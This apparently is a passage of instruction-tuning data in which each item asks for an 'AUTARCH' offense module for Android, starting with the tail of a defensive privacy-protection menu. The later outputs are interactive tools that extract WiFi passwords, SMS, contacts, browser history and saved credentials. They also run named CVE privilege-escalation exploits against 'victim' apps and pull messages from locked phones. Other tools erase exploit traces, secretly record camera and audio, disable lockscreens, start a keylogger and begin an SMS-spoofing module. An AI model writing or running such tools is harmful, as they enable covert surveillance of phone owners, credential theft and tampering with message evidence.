        if result.get('ok'):
            print(f"  {result['message']}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def do_disable_location(self):
        if not self._ensure_device():
            return
        result = self.mgr.disable_location_accuracy(self.serial)
        if result.get('ok'):
            print("  WiFi and Bluetooth scanning disabled.")
        else:
            print("  Some settings failed:")
            for r in result.get('results', []):
                status = "OK" if r['ok'] else "FAIL"
                print(f"    [{status}] {r['setting']}")

    def do_deploy_hosts(self):
        if not self._ensure_device():
            return
        print("  Deploying hosts blocklist (requires root)...")
        result = self.mgr.deploy_hosts_blocklist(self.serial)
        if result.get('ok'):
            print(f"  {result['message']}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def do_setup_iptables(self):
        if not self._ensure_device():
            return
        try:
            port_str = input("  Redirect port [9040]: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        port = int(port_str) if port_str else 9040
        result = self.mgr.setup_iptables_redirect(self.serial, port)
        if result.get('ok'):
            print(f"  {result['message']}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def do_set_fake_location(self):
        if not self._ensure_device():
            return
        try:
            lat = float(input("  Latitude: ").strip())
            lon = float(input("  Longitude: ").strip())
        except (ValueError, EOFError, KeyboardInterrupt):
            print("  Invalid coordinates.")
            return
        result = self.mgr.set_fake_location(self.serial, lat, lon)
        if result.get('ok'):
            print(f"  {result['message']}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def do_random_location(self):
        if not self._ensure_device():
            return
        result = self.mgr.set_random_fake_location(self.serial)
        if result.get('ok'):
            print(f"  {result['message']}")
            if result.get('location_name'):
                print(f"  Location: {result['location_name']}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def do_rotate_identity(self):
        if not self._ensure_device():
            return
        result = self.mgr.rotate_device_identity(self.serial)
        if result.get('ok'):
            print(f"  {result['message']}")
            for c in result.get('changes', []):
                status = "OK" if c['ok'] else "FAIL"
                print(f"    [{status}] {c['setting']}: {c['value']}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def do_fake_fingerprint(self):
        if not self._ensure_device():
            return
        result = self.mgr.generate_fake_fingerprint(self.serial)
        if result.get('ok'):
            print(f"  {result['message']}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def do_activate_honeypot(self):
        if not self._ensure_device():
            return
        print("  Select protection tier:")
        print("    1) ADB only (no root)")
        print("    2) ADB + Shizuku")
        print("    3) Full (ADB + Shizuku + Root)")
        try:
            tier = int(input("  Tier [1]: ").strip() or '1')
        except (ValueError, EOFError, KeyboardInterrupt):
            return
        if tier not in (1, 2, 3):
            print("  Invalid tier.")
            return
        print(f"\n  Activating Tier {tier} honeypot...")
        result = self.mgr.honeypot_activate(self.serial, tier)
        print(f"  {result.get('summary', 'Done')}")
        for action in result.get('actions', []):
            r = action['result']
            status = "OK" if r.get('ok', False) else "FAIL"
            msg = r.get('message', r.get('error', ''))
            print(f"    [{status}] {action['name']}: {msg}")

    def do_deactivate_honeypot(self):
        if not self._ensure_device():
            return
        print("  Deactivating honeypot...")
        result = self.mgr.honeypot_deactivate(self.serial)
        for action in result.get('actions', []):
            r = action['result']
            status = "OK" if r.get('ok', False) else "FAIL"
            print(f"    [{status}] {action['name']}")
        print("  Honeypot deactivated.")

    def do_tracker_stats(self):
        stats = self.mgr.get_tracker_stats()
        print(f"\n  Tracker Domain Database:")
        print(f"    Version:         {stats['version']}")
        print(f"    Total domains:   {stats['total_domains']}")
        print(f"    Companies:       {stats['companies']}")
        print(f"    Tracker pkgs:    {stats['packages']}")
        print(f"    DNS providers:   {', '.join(stats.get('dns_providers', []))}")
        print(f"    Categories:")
        for cat, count in stats.get('categories', {}).items():
            print(f"      {cat}: {count} domains")

    def do_update_trackers(self):
        print("  Updating tracker domains...")
        result = self.mgr.update_tracker_domains()
        if result.get('ok'):
            print(f"  Updated: merged {result['merged']} new domains")
        else:
            print(f"  Error: {result.get('error')}")

    # ── Database ────────────────────────────────────────────────────

    def do_sig_stats(self):
        stats = self.mgr.get_signature_stats()
        print(f"\n  Signature Database Stats:")
        print(f"    Version:             {stats['version']}")
        print(f"    Last updated:        {stats['last_updated']}")
        print(f"    Stalkerware families: {stats['stalkerware_families']}")
        print(f"    Stalkerware packages: {stats['stalkerware_packages']}")
        print(f"    Government spyware:  {stats['government_spyware']}")
        print(f"    Permission combos:   {stats['permission_combos']}")

    def do_update_sigs(self):
        print("  Updating signatures from GitHub...")
        result = self.mgr.update_signatures()
        if result.get('ok'):
            print(f"  Updated: merged {result['merged']} new packages")
        else:
            print(f"  Error: {result.get('error')}")

    # ── Main Loop ───────────────────────────────────────────────────

    def run_interactive(self):
        import json
        while True:
            self.show_menu()
            try:
                choice = input("  Select > ").strip()
            except (EOFError, KeyboardInterrupt):
                break
            if choice == '0':
                break

            actions = {
                '1': self.do_quick_scan,
                '2': self.do_full_scan,
                '3': self.do_export_report,
                '10': self.do_scan_stalkerware,
                '11': self.do_scan_hidden,
                '12': self.do_scan_admins,
                '13': self.do_scan_accessibility,
                '14': self.do_scan_listeners,
                '15': self.do_scan_spyware,
                '16': self.do_scan_integrity,
                '17': self.do_scan_processes,
                '18': self.do_scan_certs,
                '19': self.do_scan_network,
                '20': self.do_scan_devopt,
                '30': self.do_dangerous_apps,
                '31': self.do_analyze_perms,
                '32': self.do_perm_heatmap,
                '40': self.do_disable,
                '41': self.do_uninstall,
                '42': self.do_revoke,
                '43': self.do_remove_admin,
                '44': self.do_remove_cert,
                '45': self.do_clear_proxy,
                '50': self.do_shizuku_status,
                '51': self.do_install_shizuku,
                '52': self.do_start_shizuku,
                '53': self.do_install_shield,
                '54': self.do_configure_shield,
                '55': self.do_grant_shield_perms,
                '60': self.do_sig_stats,
                '61': self.do_update_sigs,
                '70': self.do_honeypot_status,
                '71': self.do_scan_tracker_apps,
                '72': self.do_scan_tracker_perms,
                '73': self.do_ad_settings,
                '74': self.do_reset_ad_id,
                '75': self.do_opt_out_tracking,
                '76': self.do_set_dns,
                '77': self.do_disable_location,
                '78': self.do_deploy_hosts,
                '79': self.do_setup_iptables,
                '80': self.do_set_fake_location,
                '81': self.do_random_location,
                '82': self.do_rotate_identity,
                '83': self.do_fake_fingerprint,
                '84': self.do_activate_honeypot,
                '85': self.do_deactivate_honeypot,
                '86': self.do_tracker_stats,
                '87': self.do_update_trackers,
                's': self._pick_device,
            }
            action = actions.get(choice)
            if action:
                action()
            else:
                print("  Invalid choice.")

def run():
    ap = AndroidProtect()
    ap.run_interactive()


Instruction: Create an AUTARCH module in the 'offense' category that android device reconnaissance (data extraction, accounts, logs). The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: android_recon
Category: offense
Description: Android device reconnaissance (data extraction, accounts, logs)

Output:
"""
Android Device Reconnaissance - Extract device data, accounts, messages, history
"""

DESCRIPTION = "Android device reconnaissance (data extraction, accounts, logs)"
AUTHOR = "AUTARCH"
VERSION = "1.0"
CATEGORY = "offense"

import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))

class AndroidRecon:
    """Interactive menu for Android device reconnaissance."""

    def __init__(self):
        from core.android_exploit import get_exploit_manager
        from core.hardware import get_hardware_manager
        self.mgr = get_exploit_manager()
        self.hw = get_hardware_manager()
        self.serial = None

    def _select_device(self):
        devices = self.hw.adb_devices()
        if not devices:
            print("  No ADB devices connected.")
            return
        if len(devices) == 1:
            self.serial = devices[0]['serial']
            print(f"  Selected: {self.serial}")
            return
        print("\n  Select device:")
        for i, d in enumerate(devices, 1):
            model = d.get('model', '')
            print(f"    {i}) {d['serial']} {model}")
        try:
            choice = int(input("  > ").strip())
            if 1 <= choice <= len(devices):
                self.serial = devices[choice - 1]['serial']
        except (ValueError, EOFError, KeyboardInterrupt):
            pass

    def _ensure_device(self):
        if not self.serial:
            self._select_device()
        return self.serial is not None

    def show_menu(self):
        print(f"\n{'='*50}")
        print("  Device Reconnaissance")
        print(f"{'='*50}")
        print(f"  Device: {self.serial or '(none)'}")
        print()
        print("  [1] Full Device Dump")
        print("  [2] Installed Accounts")
        print("  [3] WiFi Passwords        [ROOT]")
        print("  [4] Call Logs")
        print("  [5] SMS Messages")
        print("  [6] Contacts")
        print("  [7] Browser History        [ROOT]")
        print("  [8] Saved Credentials      [ROOT]")
        print("  [9] Export Full Report")
        print("  [s] Select Device")
        print("  [0] Back")
        print()

    def device_dump(self):
        if not self._ensure_device():
            return
        print("  Running full device dump...")
        dump = self.mgr.full_device_dump(self.serial)
        print(f"\n  SELinux: {dump.get('selinux', 'unknown')}")
        print(f"  Kernel: {dump.get('kernel', 'unknown')}")
        print(f"  Fingerprint: {dump.get('fingerprint', 'unknown')}")
        print(f"  Packages: {dump.get('package_count', '?')}")
        info = dump.get('device_info', {})
        if info:
            print(f"\n  Device Info:")
            for k, v in info.items():
                print(f"    {k:<20} {v}")

    def accounts(self):
        if not self._ensure_device():
            return
        result = self.mgr.get_accounts(self.serial)
        if not result['success']:
            print(f"  Error: {result.get('error', 'Failed')}")
            return
        print(f"\n  Found {result['count']} accounts:")
        for a in result['accounts']:
            print(f"    {a['name']} ({a['type']})")

    def wifi_passwords(self):
        if not self._ensure_device():
            return
        print("  Extracting WiFi passwords (requires root)...")
        result = self.mgr.get_wifi_passwords(self.serial)
        if not result['success']:
            print(f"  Error: {result.get('error', 'Failed')}")
            return
        print(f"\n  Found {result['count']} saved networks:")
        for w in result['passwords']:
            print(f"    SSID: {w['ssid']}")
            print(f"    PSK:  {w['password']}")
            print()

    def call_logs(self):
        if not self._ensure_device():
            return
        result = self.mgr.extract_call_logs(self.serial)
        if not result['success']:
            print(f"  Error: {result.get('error', 'Failed')}")
            return
        print(f"\n  Found {result['count']} call log entries:")
        print(f"  {'Number':<20} {'Type':<12} {'Duration'}")
        print(f"  {'-'*50}")
        for c in result['calls'][:50]:
            print(f"  {c.get('number','?'):<20} {c.get('type_label','?'):<12} {c.get('duration','?')}s")

    def sms_messages(self):
        if not self._ensure_device():
            return
        result = self.mgr.extract_sms(self.serial)
        if not result['success']:
            print(f"  Error: {result.get('error', 'Failed')}")
            return
        print(f"\n  Found {result['count']} SMS messages:")
        for m in result['messages'][:30]:
            print(f"\n  [{m.get('type_label','?')}] {m.get('address','?')}")
            body = m.get('body', '')
            if len(body) > 100:
                body = body[:100] + '...'
            print(f"    {body}")

    def contacts(self):
        if not self._ensure_device():
            return
        result = self.mgr.extract_contacts(self.serial)
        if not result['success']:
            print(f"  Error: {result.get('error', 'Failed')}")
            return
        print(f"\n  Found {result['count']} contacts:")
        print(f"  {'Name':<25} {'Number'}")
        print(f"  {'-'*45}")
        for c in result['contacts']:
            print(f"  {c.get('display_name','?'):<25} {c.get('number','?')}")

    def browser_history(self):
        if not self._ensure_device():
            return
        print("  Extracting browser history (requires root)...")
        result = self.mgr.extract_browser_history(self.serial)
        if not result['success']:
            print(f"  Error: {result.get('error', 'Failed')}")
            return
        print(f"\n  Found {result['count']} history entries:")
        for h in result['history'][:30]:
            title = h.get('title', '')[:50]
            print(f"    {title}")
            print(f"      {h['url']}")

    def saved_credentials(self):
        if not self._ensure_device():
            return
        print("  Extracting saved credentials (requires root)...")
        result = self.mgr.extract_saved_credentials(self.serial)
        if not result['success']:
            print(f"  Error: {result.get('error', 'Failed')}")
            return
        print(f"\n  Found {result['count']} saved credentials:")
        for c in result['credentials']:
            print(f"    URL:  {c['url']}")
            print(f"    User: {c['username']}")
            print(f"    Pass: {'[encrypted]' if c['password_encrypted'] else '[empty]'}")
            print()

    def export_report(self):
        if not self._ensure_device():
            return
        print("  Generating full recon report...")
        result = self.mgr.export_recon_report(self.serial)
        if result['success']:
            print(f"  Report saved: {result['report_path']}")
            print(f"  Sections: {', '.join(result['sections'])}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def run_interactive(self):
        while True:
            self.show_menu()
            try:
                choice = input("  Select > ").strip().lower()
            except (EOFError, KeyboardInterrupt):
                break
            actions = {
                '0': None,
                '1': self.device_dump,
                '2': self.accounts,
                '3': self.wifi_passwords,
                '4': self.call_logs,
                '5': self.sms_messages,
                '6': self.contacts,
                '7': self.browser_history,
                '8': self.saved_credentials,
                '9': self.export_report,
                's': self._select_device,
            }
            if choice == '0':
                break
            action = actions.get(choice)
            if action:
                action()
            else:
                print("  Invalid choice.")

def run():
    m = AndroidRecon()
    m.run_interactive()


Instruction: Create an AUTARCH module in the 'offense' category that android root methods (cve-2024-0044, cve-2024-31317, magisk, fastboot, grapheneos). The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: android_root
Category: offense
Description: Android root methods (CVE-2024-0044, CVE-2024-31317, Magisk, fastboot, GrapheneOS)

Output:
"""
Android Root Methods v2.0 — Root detection, Magisk, CVE exploits, GrapheneOS support

Privilege escalation paths:
  CVE-2024-0044  — run-as any app UID (Android 12-13, pre-Oct 2024)
  CVE-2024-31317 — Zygote injection (Android 12-14, pre-Mar 2024, NOT GrapheneOS)
  fastboot boot  — temp root via Magisk-patched image (unlocked bootloader)
  Pixel GPU      — kernel root via Mali driver (CVE-2023-6241, CVE-2025-0072)
  Magisk         — standard Magisk install + patch workflow
  adb root       — userdebug/eng builds only
"""

DESCRIPTION = "Android root methods (CVE-2024-0044, CVE-2024-31317, Magisk, fastboot, GrapheneOS)"
AUTHOR = "AUTARCH"
VERSION = "2.0"
CATEGORY = "offense"

import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))

class AndroidRoot:
    """Interactive menu for Android rooting and privilege escalation."""

    def __init__(self):
        from core.android_exploit import get_exploit_manager
        from core.hardware import get_hardware_manager
        self.mgr = get_exploit_manager()
        self.hw = get_hardware_manager()
        self.serial = None

    def _select_device(self):
        devices = self.hw.adb_devices()
        if not devices:
            print("  No ADB devices connected.")
            return
        if len(devices) == 1:
            self.serial = devices[0]['serial']
            print(f"  Selected: {self.serial}")
            return
        print("\n  Select device:")
        for i, d in enumerate(devices, 1):
            model = d.get('model', '')
            print(f"    {i}) {d['serial']} {model}")
        try:
            choice = int(input("  > ").strip())
            if 1 <= choice <= len(devices):
                self.serial = devices[choice - 1]['serial']
        except (ValueError, EOFError, KeyboardInterrupt):
            pass

    def _ensure_device(self):
        if not self.serial:
            self._select_device()
        return self.serial is not None

    def show_menu(self):
        print(f"\n{'='*55}")
        print("  Root Methods & Privilege Escalation")
        print(f"{'='*55}")
        print(f"  Device: {self.serial or '(none)'}")
        print()
        print("  [1] Check Root Status")
        print("  [2] Vulnerability Assessment")
        print("  [3] Detect OS (Stock / GrapheneOS)")
        print("  [4] CVE-2024-0044 — run-as any app UID")
        print("  [5] CVE-2024-31317 — Zygote injection")
        print("  [6] Install Magisk APK")
        print("  [7] Pull Patched Boot Image")
        print("  [8] Fastboot Temp Root (boot patched image)")
        print("  [9] Root via Exploit Binary")
        print("  [a] ADB Root Shell (debug builds)")
        print("  [r] Extract RCS (auto-select best exploit)")
        print("  [e] CVE-2025-48543 — system UID (Android 15/16)")
        print("  [c] Cleanup CVE-2024-0044 Traces")
        print("  [s] Select Device")
        print("  [0] Back")
        print()

    def check_root(self):
        if not self._ensure_device():
            return
        print("  Checking root status...")
        result = self.mgr.check_root(self.serial)
        print(f"\n  Rooted: {'YES' if result['rooted'] else 'NO'}")
        if result['method']:
            print(f"  Method: {result['method']}")
        if result['version']:
            print(f"  Version: {result['version']}")
        for k, v in result.get('details', {}).items():
            print(f"    {k}: {v}")

    def vuln_assessment(self):
        if not self._ensure_device():
            return
        print("  Assessing vulnerabilities...")
        result = self.mgr.assess_vulnerabilities(self.serial)
        oi = result['os_info']
        print(f"\n  OS: {'GrapheneOS' if oi.get('is_grapheneos') else 'Stock Android'}")
        print(f"  Model: {oi.get('model', '?')} ({oi.get('brand', '?')})")
        print(f"  Android: {oi.get('android_version', '?')} (SDK {oi.get('sdk', '?')})")
        print(f"  Patch: {oi.get('security_patch', '?')}")
        print(f"  Bootloader: {'UNLOCKED' if oi.get('bootloader_unlocked') else 'LOCKED'}")
        print(f"  Kernel: {oi.get('kernel', '?')}")
        print(f"\n  Exploitable: {result['exploitable_count']}")
        print(f"  Kernel root: {'YES' if result['has_kernel_root'] else 'NO'}")
        print(f"  App UID:     {'YES' if result['has_app_uid'] else 'NO'}")
        for v in result['vulnerabilities']:
            m = '[!]' if v.get('exploitable') else '[ ]'
            print(f"\n  {m} {v.get('cve', 'N/A'):20s} {v['name']}")
            print(f"       Type: {v['type']} | Severity: {v.get('severity', '?')}")
            if v.get('note'):
                print(f"       Note: {v['note']}")

    def detect_os(self):
        if not self._ensure_device():
            return
        info = self.mgr.detect_os_type(self.serial)
        print(f"\n  Brand: {info.get('brand', '?')}")
        print(f"  Model: {info.get('model', '?')}")
        print(f"  Android: {info.get('android_version', '?')} (SDK {info.get('sdk', '?')})")
        print(f"  Patch: {info.get('security_patch', '?')}")
        print(f"  Pixel: {'YES' if info.get('is_pixel') else 'NO'}")
        print(f"  GrapheneOS: {'YES' if info.get('is_grapheneos') else 'NO'}")
        print(f"  Hardened Malloc: {'YES' if info.get('hardened_malloc') else 'NO'}")
        print(f"  Bootloader: {'UNLOCKED' if info.get('bootloader_unlocked') else 'LOCKED'}")

    def cve_0044(self):
        if not self._ensure_device():
            return
        try:
            target = input("  Target package [com.google.android.apps.messaging]: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not target:
            target = 'com.google.android.apps.messaging'
        print(f"  Exploiting CVE-2024-0044 against {target}...")
        result = self.mgr.exploit_cve_2024_0044(self.serial, target)
        if result['success']:
            print(f"\n  SUCCESS! {result['message']}")
            print(f"  Victim: {result['victim_name']}  UID: {result['target_uid']}")
        else:
            print(f"\n  FAILED: {result.get('error', 'Unknown')}")

    def cve_31317(self):
        if not self._ensure_device():
            return
        try:
            target = input("  Target package [com.google.android.apps.messaging]: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not target:
            target = 'com.google.android.apps.messaging'
        print(f"  Exploiting CVE-2024-31317 against {target}...")
        result = self.mgr.exploit_cve_2024_31317(self.serial, target)
        if result['success']:
            print(f"\n  SUCCESS! {result['message']}")
        else:
            print(f"\n  FAILED: {result.get('error', 'Unknown')}")

    def install_magisk(self):
        if not self._ensure_device():
            return
        try:
            apk = input("  Magisk APK path: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not apk:
            return
        result = self.mgr.install_magisk(self.serial, apk)
        if result['success']:
            print("  Magisk installed. Open app → patch boot image → use [8] to temp boot.")
        else:
            print(f"  Error: {result.get('error', result.get('output', 'Failed'))}")

    def pull_patched(self):
        if not self._ensure_device():
            return
        result = self.mgr.pull_patched_boot(self.serial)
        if result['success']:
            print(f"  Saved: {result['local_path']} ({result['size'] / (1024*1024):.1f} MB)")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def fastboot_root(self):
        if not self._ensure_device():
            return
        try:
            img = input("  Patched boot/init_boot image: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not img:
            return
        print("  Booting patched image via fastboot (temp root, no flash)...")
        result = self.mgr.fastboot_temp_root(self.serial, img)
        if result['success']:
            print(f"\n  {result['message']}")
        else:
            print(f"\n  FAILED: {result.get('error', '')}")

    def root_exploit(self):
        if not self._ensure_device():
            return
        try:
            exploit = input("  Exploit binary path: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not exploit:
            return
        result = self.mgr.root_via_exploit(self.serial, exploit)
        print("  ROOT OBTAINED!" if result['success'] else "  Root not obtained.")
        print(f"  Output:\n{result.get('exploit_output', '')}")

    def adb_root(self):
        if not self._ensure_device():
            return
        result = self.mgr.adb_root_shell(self.serial)
        print("  ADB running as root." if result['success'] else f"  Failed: {result['output']}")

    def extract_rcs_auto(self):
        if not self._ensure_device():
            return
        print("  Auto-selecting best exploit for RCS extraction...")
        result = self.mgr.extract_rcs_locked_device(self.serial)
        if result.get('success'):
            print(f"\n  SUCCESS — method: {result.get('extraction_method')}")
            print(f"  Output: {result.get('output_dir', '?')}")
            if result.get('pull_command'):
                print(f"  Pull:   {result['pull_command']}")
            if result.get('encrypted'):
                print("  Note:   Database is encrypted — key material included in shared_prefs/")
        else:
            print(f"\n  FAILED — {result.get('extraction_method', 'no method worked')}")
            for method in result.get('methods_tried', []):
                print(f"    Tried: {method}")
            fb = result.get('fallback', {})
            if fb.get('sms_mms_available'):
                print(f"    Fallback: {fb['sms_count']} SMS/MMS messages available via content providers")
            if fb.get('note'):
                print(f"    {fb['note']}")

    def cve_48543(self):
        if not self._ensure_device():
            return
        print("  Tasks: extract_rcs, extract_app:<pkg>, disable_mdm, shell")
        try:
            task = input("  Task [extract_rcs]: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not task:
            task = 'extract_rcs'
        print(f"  Exploiting CVE-2025-48543 (task: {task})...")
        result = self.mgr.exploit_cve_2025_48543(self.serial, task)
        if result.get('success'):
            print(f"\n  SUCCESS! UID: {result.get('uid_achieved')}")
            print(f"  Output: {result.get('output_dir', '?')}")
            if result.get('pull_command'):
                print(f"  Pull:   {result['pull_command']}")
            if result.get('extracted_files'):
                print(f"  Files:  {len(result['extracted_files'])}")
        else:
            err = result.get('error', 'Unknown')
            print(f"\n  FAILED: {err}")
            if result.get('manual_steps'):
                print("\n  Manual steps needed:")
                for step in result['manual_steps']:
                    print(f"    {step}")

    def cleanup(self):
        if not self._ensure_device():
            return
        try:
            victim = input("  Victim name from CVE-2024-0044: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not victim:
            return
        result = self.mgr.cleanup_cve_2024_0044(self.serial, victim)
        for line in result.get('cleanup', []):
            print(f"  {line}")

    def run_interactive(self):
        while True:
            self.show_menu()
            try:
                choice = input("  Select > ").strip().lower()
            except (EOFError, KeyboardInterrupt):
                break
            if choice == '0':
                break
            actions = {
                '1': self.check_root, '2': self.vuln_assessment, '3': self.detect_os,
                '4': self.cve_0044, '5': self.cve_31317, '6': self.install_magisk,
                '7': self.pull_patched, '8': self.fastboot_root, '9': self.root_exploit,
                'a': self.adb_root, 'r': self.extract_rcs_auto, 'e': self.cve_48543,
                'c': self.cleanup, 's': self._select_device,
            }
            action = actions.get(choice)
            if action:
                action()
            else:
                print("  Invalid choice.")

def run():
    m = AndroidRoot()
    m.run_interactive()


Instruction: Create an AUTARCH module in the 'offense' category that android screen capture, input injection, keylogger, camera/audio. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: android_screen
Category: offense
Description: Android screen capture, input injection, keylogger, camera/audio

Output:
"""
Android Screen & Input Control - Screenshots, recording, input injection, keylogger
"""

DESCRIPTION = "Android screen capture, input injection, keylogger, camera/audio"
AUTHOR = "AUTARCH"
VERSION = "1.0"
CATEGORY = "offense"

import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))

class AndroidScreen:
    """Interactive menu for screen/input/capture operations."""

    def __init__(self):
        from core.android_exploit import get_exploit_manager
        from core.hardware import get_hardware_manager
        self.mgr = get_exploit_manager()
        self.hw = get_hardware_manager()
        self.serial = None

    def _select_device(self):
        devices = self.hw.adb_devices()
        if not devices:
            print("  No ADB devices connected.")
            return
        if len(devices) == 1:
            self.serial = devices[0]['serial']
            print(f"  Selected: {self.serial}")
            return
        print("\n  Select device:")
        for i, d in enumerate(devices, 1):
            print(f"    {i}) {d['serial']} {d.get('model','')}")
        try:
            choice = int(input("  > ").strip())
            if 1 <= choice <= len(devices):
                self.serial = devices[choice - 1]['serial']
        except (ValueError, EOFError, KeyboardInterrupt):
            pass

    def _ensure_device(self):
        if not self.serial:
            self._select_device()
        return self.serial is not None

    def show_menu(self):
        print(f"\n{'='*55}")
        print("  Screen & Input Control")
        print(f"{'='*55}")
        print(f"  Device: {self.serial or '(none)'}")
        print()
        print("  ── Capture ──")
        print("  [1]  Screenshot")
        print("  [2]  Screen Record")
        print("  [3]  Camera Photo")
        print("  [4]  Audio Record")
        print()
        print("  ── Input Injection ──")
        print("  [5]  Tap Coordinates")
        print("  [6]  Swipe")
        print("  [7]  Type Text")
        print("  [8]  Send Key Event")
        print("  [9]  Wake / Dismiss Lockscreen")
        print("  [10] Disable Lockscreen")
        print()
        print("  ── Keylogger ──")
        print("  [11] Start Keylogger")
        print("  [12] Stop & Pull Keylog")
        print()
        print("  [s] Select Device")
        print("  [0] Back")
        print()

    def screenshot(self):
        if not self._ensure_device(): return
        print("  Capturing screenshot...")
        r = self.mgr.screen_capture(self.serial)
        if r['success']:
            print(f"  Saved: {r['path']} ({r['size']} bytes)")
        else:
            print(f"  Error: {r.get('error')}")

    def screen_record(self):
        if not self._ensure_device(): return
        try:
            dur = input("  Duration in seconds [10]: ").strip()
            dur = int(dur) if dur else 10
        except (ValueError, EOFError, KeyboardInterrupt):
            return
        print(f"  Recording for {dur}s...")
        r = self.mgr.screen_record(self.serial, duration=dur)
        if r['success']:
            print(f"  Saved: {r['path']} ({r['size']} bytes)")
        else:
            print(f"  Error: {r.get('error')}")

    def camera(self):
        if not self._ensure_device(): return
        try:
            cam = input("  Camera [back/front]: ").strip() or 'back'
        except (EOFError, KeyboardInterrupt):
            return
        print("  Opening camera (device screen will activate)...")
        r = self.mgr.camera_capture(self.serial, camera=cam)
        if r['success']:
            print(f"  Photo saved: {r['path']}")
        else:
            print(f"  Note: {r.get('error')}")

    def audio(self):
        if not self._ensure_device(): return
        try:
            dur = input("  Duration in seconds [10]: ").strip()
            dur = int(dur) if dur else 10
        except (ValueError, EOFError, KeyboardInterrupt):
            return
        r = self.mgr.audio_record(self.serial, duration=dur)
        print(f"  {r.get('note', 'Started')}")

    def tap(self):
        if not self._ensure_device(): return
        try:
            x = int(input("  X coordinate: ").strip())
            y = int(input("  Y coordinate: ").strip())
        except (ValueError, EOFError, KeyboardInterrupt):
            return
        self.mgr.input_tap(self.serial, x, y)
        print(f"  Tapped ({x}, {y})")

    def swipe(self):
        if not self._ensure_device(): return
        try:
            x1 = int(input("  From X: ").strip())
            y1 = int(input("  From Y: ").strip())
            x2 = int(input("  To X: ").strip())
            y2 = int(input("  To Y: ").strip())
            ms = input("  Duration ms [300]: ").strip()
            ms = int(ms) if ms else 300
        except (ValueError, EOFError, KeyboardInterrupt):
            return
        self.mgr.input_swipe(self.serial, x1, y1, x2, y2, ms)
        print(f"  Swiped ({x1},{y1}) -> ({x2},{y2})")

    def type_text(self):
        if not self._ensure_device(): return
        try:
            text = input("  Text to type: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if text:
            self.mgr.input_text(self.serial, text)
            print(f"  Typed: {text[:50]}")

    def keyevent(self):
        if not self._ensure_device(): return
        print("  Common: 3=HOME 4=BACK 26=POWER 82=MENU 24/25=VOL 187=RECENTS 224=WAKEUP")
        try:
            code = input("  Keycode: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if code:
            self.mgr.input_keyevent(self.serial, code)
            print(f"  Sent keyevent {code}")

    def wake_dismiss(self):
        if not self._ensure_device(): return
        r = self.mgr.dismiss_lockscreen(self.serial)
        print(f"  Lock screen: {'still locked' if r['locked'] else 'dismissed'}")

    def disable_lock(self):
        if not self._ensure_device(): return
        r = self.mgr.disable_lockscreen(self.serial)
        print("  Attempted lock screen disable:")
        for x in r['results']:
            print(f"    {x['cmd']}: rc={x['rc']}")

    def start_keylog(self):
        if not self._ensure_device(): return
        r = self.mgr.start_keylogger(self.serial)
        print(f"  Keylogger started, PID: {r['pid']}, log: {r['log_path']}")

    def stop_keylog(self):
        if not self._ensure_device(): return
        r = self.mgr.stop_keylogger(self.serial)
        if r['success']:
            print(f"  Keylog saved: {r['path']} ({r['size']} bytes)")
        else:
            print(f"  {r.get('error')}")

    def run_interactive(self):
        while True:
            self.show_menu()
            try:
                choice = input("  Select > ").strip().lower()
            except (EOFError, KeyboardInterrupt):
                break
            if choice == '0':
                break
            actions = {
                '1': self.screenshot, '2': self.screen_record,
                '3': self.camera, '4': self.audio,
                '5': self.tap, '6': self.swipe,
                '7': self.type_text, '8': self.keyevent,
                '9': self.wake_dismiss, '10': self.disable_lock,
                '11': self.start_keylog, '12': self.stop_keylog,
                's': self._select_device,
            }
            action = actions.get(choice)
            if action:
                action()
            else:
                print("  Invalid choice.")

def run():
    m = AndroidScreen()
    m.run_interactive()


Instruction: Create an AUTARCH module in the 'offense' category that android sms/rcs manipulation (add, remove, spoof dates, rcs inject). The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: android_sms
Category: offense
Description: Android SMS/RCS manipulation (add, remove, spoof dates, RCS inject)

Output:
"""
Android SMS/RCS Manipulation - Insert, delete, spoof messages with custom timestamps
"""

DESCRIPTION = "Android SMS/RCS manipulation (add, remove, spoof dates, RCS inject)"
AUTHOR = "AUTARCH"
VERSION = "1.0"
CATEGORY = "offense"

import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))

class AndroidSms:
    """Interactive menu for SMS/RCS manipulation."""

    def __init__(self):
        from core.android_exploit import get_exploit_manager
        from core.hardware import get_hardware_manager
        self.mgr = get_exploit_manager()
        self.hw = get_hardware_manager()
        self.serial = None

    def _select_device(self):
        devices = self.hw.adb_devices()
        if not devices:
            print("  No ADB devices connected.")
            return
        if len(devices) == 1:
            self.serial = devices[0]['serial']
            print(f"  Selected: {self.serial}")
            return
        print("\n  Select device:")
        for i, d in enumerate(devices, 1):
            model = d.get('model', '')
            print(f"    {i}) {d['serial']} {model}")
        try:
            choice = int(input("  > ").strip())
            if 1 <= choice <= len(devices):
                self.serial = devices[choice - 1]['serial']
